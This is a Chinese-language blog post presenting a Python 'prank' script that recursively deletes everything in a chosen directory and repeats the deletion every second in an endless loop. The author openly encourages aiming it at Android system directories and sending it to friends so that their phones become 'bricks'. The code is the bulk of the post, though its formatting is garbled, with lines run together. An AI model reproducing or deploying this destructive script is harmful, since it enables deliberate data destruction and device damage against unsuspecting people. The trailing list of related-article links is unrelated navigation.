当前位置: 首页 > news >正文

python编程之黑洞文件

之前我们学习了Python的爬虫及反爬技术,今天我们就来了一个恶作剧程序!

这里主要涉及到Python的os,time,shutil这几个库

作用:它可以重复删除指定目录内的所有文件,千万不要小瞧这个功能,如果你指定的目录是像手机安卓这样的系统文件的话,将这个程序发给你的好友,不知道多少应用要中招,他的手机就可以变砖块了!哈哈!

好的我们直接看源码!

import os
#导入OS 
import shutil
#导入shutli
import time
#导入time模块,用于时间延迟,不然电脑性能不够def delete_contents(directory):# 确保目录存在if not os.path.exists(directory):print(f"The directory {directory} does not exist.")return# 遍历目录中的所有文件和子目录for filename in os.listdir(directory):file_path = os.path.join(directory, filename)try:# 如果是文件,直接删除if os.path.isfile(file_path) or os.path.islink(file_path):os.unlink(file_path)# 如果是目录,递归删除elif os.path.isdir(file_path):shutil.rmtree(file_path)except Exception as e:print(f'Failed to delete {file_path}. Reason: {e}')def repeat_delete(directory, interval):while True:delete_contents(directory)print(f"Deleted contents of {directory}. Waiting for {interval} seconds...")time.sleep(interval)# 使用函数重复删除指定目录下的所有内容,每5分钟执行一次
repeat_delete('这里输入你目录的路径', 1)  # 延迟一秒,当然可以缩短时间

运行试一试吧!手机内运行也可以!

可以将系统文件移动到你所指定的目录哟!哈哈!!

相关文章:

  • HCIA——TCP协议详解
  • Docker镜像操作
  • 【翻译】Attentive Pooling Networks
  • web学习笔记(四十)
  • 录视频的软件推荐,助力视频内容创作
  • [Django 0-1] Core.Email 模块
  • MacOS安装Homebrew教程
  • 力扣---完全平方数
  • iOS常见崩溃简介
  • VR历史建筑漫游介绍|虚拟现实体验店|VR设备购买
  • #Linux(帮助手册)
  • Oracle锁表解决方案
  • 计算机网络——物理层(信道复用技术)
  • Python Web开发记录 Day13:Django part7 Ajax入门与案例(任务管理)
  • 两台电脑简单的通信过程详解(局域网,同网段)
  • .pyc 想到的一些问题
  • JavaScript的使用你知道几种?(上)
  • jquery ajax学习笔记
  • mysql 5.6 原生Online DDL解析
  • PHP 的 SAPI 是个什么东西
  • SwizzleMethod 黑魔法
  • vue从创建到完整的饿了么(11)组件的使用(svg图标及watch的简单使用)
  • 多线程事务回滚
  • 前嗅ForeSpider教程:创建模板
  • 一起来学SpringBoot | 第十篇:使用Spring Cache集成Redis
  • 测评:对于写作的人来说,Markdown是你最好的朋友 ...
  • 曜石科技宣布获得千万级天使轮投资,全方面布局电竞产业链 ...
  • ​【已解决】npm install​卡主不动的情况
  • # Panda3d 碰撞检测系统介绍
  • ###C语言程序设计-----C语言学习(3)#
  • (阿里云万网)-域名注册购买实名流程
  • (附源码)计算机毕业设计ssm电影分享网站
  • (免费领源码)Java#ssm#MySQL 创意商城03663-计算机毕业设计项目选题推荐
  • (十一)图像的罗伯特梯度锐化
  • (转)甲方乙方——赵民谈找工作
  • .mysql secret在哪_MYSQL基本操作(上)
  • .net core webapi 部署iis_一键部署VS插件:让.NET开发者更幸福
  • .net 反编译_.net反编译的相关问题
  • .NET 自定义中间件 判断是否存在 AllowAnonymousAttribute 特性 来判断是否需要身份验证
  • .NET高级面试指南专题十一【 设计模式介绍,为什么要用设计模式】
  • .NET建议使用的大小写命名原则
  • .net用HTML开发怎么调试,如何使用ASP.NET MVC在调试中查看控制器生成的html?
  • .net中的Queue和Stack
  • /etc/apt/sources.list 和 /etc/apt/sources.list.d
  • @serverendpoint注解_SpringBoot 使用WebSocket打造在线聊天室(基于注解)
  • @test注解_Spring 自定义注解你了解过吗?
  • [CSDN首发]鱿鱼游戏的具体玩法详细介绍
  • [C语言]——柔性数组
  • [git] windows系统安装git教程和配置
  • [hdu 3652] B-number
  • [HTML]Web前端开发技术29(HTML5、CSS3、JavaScript )JavaScript基础——喵喵画网页
  • [IMX6DL] CPU频率调节模式以及降频方法
  • [LeetCode] Merge Two Sorted Lists
  • [LeetCode]—Roman to Integer 罗马数字转阿拉伯数字
  • [PyQt] 使用.qrc 生成资源文件供程序中使用